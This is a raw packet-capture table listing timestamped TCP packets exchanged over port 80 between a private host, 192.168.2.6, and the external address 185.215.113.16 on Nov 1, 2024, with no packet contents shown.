Nov 1, 2024 03:46:14.053205013 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.053210974 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.053250074 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.053853035 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.053865910 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.053879023 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.053910971 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.053921938 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.054073095 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.054086924 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.054120064 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.054136038 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.054338932 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.054354906 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.054368973 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.054380894 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.054538965 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.054795980 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.054810047 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.054822922 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.054836035 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.054840088 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.054909945 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.055387020 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.055398941 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.055412054 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.055427074 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.055434942 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.055445910 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.055464029 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.055486917 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.094975948 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.095069885 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.095335960 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.095357895 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.095372915 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.095385075 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.095388889 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.095423937 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.095457077 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.102024078 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.102087975 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.102114916 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.102154016 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.102343082 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.102400064 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.102406979 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.102421045 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.102448940 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.102473021 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.102756023 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.102771044 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.102787018 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.102799892 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.102802038 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.102823019 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.102864027 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.103388071 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.103399992 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.103413105 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.103426933 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.103441000 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.103445053 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.103455067 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.103488922 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.103516102 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.104275942 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.104290009 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.104302883 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.104316950 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.104322910 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.104330063 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.104342937 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.104350090 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.104393005 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.105081081 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.105096102 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.105108976 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.105123997 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.105129957 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.105171919 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.105544090 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.105556965 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.105571032 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.105586052 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.105596066 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.105600119 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.105637074 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.105679035 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.106415987 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.106431007 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.106442928 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.106457949 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.106467009 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.106472015 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.106486082 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.106492996 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.106498003 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.106537104 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.107289076 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.107301950 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.107317924 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.107332945 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.107336044 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.107347012 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.107361078 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.107383013 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.107419014 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.108127117 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.108140945 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.108154058 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.108167887 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.108181000 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.108195066 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.108340979 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.152348042 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.152360916 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.152374029 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.152411938 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.152447939 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.169960022 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.170068026 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.170083046 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.170104027 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.170147896 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.170387030 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.170402050 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.170440912 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.170666933 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.170681953 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.170712948 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.170715094 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.170730114 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.170744896 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.170744896 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.170772076 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.170804977 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.175283909 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.175304890 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.175324917 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.175332069 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.175338984 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.175354004 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.175354004 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.175374985 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.175407887 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.180504084 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.180517912 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.180535078 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.180553913 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.180588961 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.182121038 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.182135105 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.182148933 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.182173014 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.182204008 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.182219028 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.182231903 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.182246923 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.182259083 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.182261944 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.182280064 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.182281017 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.182293892 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.182308912 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.182313919 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.182322979 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.182336092 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.182368040 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.213016033 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.213089943 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.213216066 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.213229895 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.213269949 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.214062929 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.214076042 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.214116096 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.214982986 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.214998007 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.215010881 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.215030909 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.215063095 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.220349073 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.220396042 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.220525026 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.220540047 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.220570087 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.220590115 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.221296072 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.221308947 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.221335888 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.221355915 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.222075939 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.222086906 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.222124100 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.222615957 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.222630024 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.222657919 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.222675085 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.223509073 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.223522902 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.223556995 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.223579884 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.224447012 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.224462032 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.224493980 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.224546909 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.225337029 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.225351095 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.225362062 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.225389004 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.225414991 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.226273060 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.226288080 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.226314068 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.226350069 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.227195978 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.227210999 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.227225065 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.227236986 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.227268934 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.228127956 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.228142977 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.228173018 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.228202105 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.229053020 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.229068041 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.229096889 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.229118109 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.230011940 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.230026960 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.230040073 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.230061054 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.230084896 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.230932951 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.230947018 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.230978012 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.231013060 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.231895924 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.231909990 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.231941938 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.231956959 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.232824087 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.232839108 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.232868910 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.232887030 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.233707905 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.233721972 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.233733892 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.233752966 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.233772039 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.234560966 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.234581947 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.234595060 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.234606028 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.234637022 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.235366106 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.235389948 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.235414028 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.235443115 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.236263990 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.236278057 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.236311913 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.237118959 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.237133980 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.237147093 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.237160921 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.237165928 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.237202883 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.270320892 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.270386934 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.270512104 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.270525932 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.270556927 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.270580053 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.271275043 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.271290064 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.271302938 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.271327972 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.271338940 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.287813902 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.287863016 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.287998915 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.288012028 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.288044930 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.288060904 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.288508892 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.288522005 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.288549900 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.288568974 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.289355040 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.289369106 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.289381027 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.289398909 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.289427996 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.289911032 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.289923906 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.289958000 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.290760040 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.290774107 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.290802956 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.290832996 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.291600943 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.291621923 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.291635036 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.291654110 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.291667938 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.292444944 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.292459011 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.292494059 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.293307066 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.293320894 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.293333054 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.293345928 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.293353081 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.293390036 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.299143076 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.299205065 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.299336910 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.299354076 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.299384117 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.299405098 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.299736023 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.299751997 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.299766064 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.299782991 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.299799919 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.300658941 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.300676107 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.300697088 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.300707102 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.300709009 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.300719976 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.300739050 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.300772905 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.301564932 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.301584959 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.301599026 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.301615000 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.301640034 CET	58524	80	192.168.2.6	185.215.113.16
